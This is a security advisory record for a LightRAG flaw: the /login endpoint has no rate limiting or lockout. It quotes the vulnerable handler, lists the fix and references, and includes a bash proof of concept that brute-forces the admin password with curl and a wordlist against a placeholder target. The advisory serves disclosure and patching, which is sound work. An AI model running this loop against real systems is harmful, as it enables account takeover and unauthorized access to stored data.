{"id":"CVE-2026-85734","aliases":["GHSA-frch-4w6v-q5xx","PYSEC-2026-4062"],"url":"https://o3.security/vulnerability/CVE-2026-85734","summary":"LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","details":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://<TARGET>:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone < /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.","published":"2026-09-22T16:18:14.144Z","modified":"2026-10-21T03:00:31.461634888Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"lightrag-hku","fixedVersion":"1.5.5"}],"fix":{"url":"https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54","label":"HKUDS/LightRAG@135bc90"},"references":[{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85734.json"},{"type":"ADVISORY","url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85734"},{"type":"FIX","url":"https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54"},{"type":"FIX","url":"https://github.com/HKUDS/LightRAG/pull/3424"},{"type":"PACKAGE","url":"https://github.com/HKUDS/LightRAG"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T03:00:31.461634888Z"}}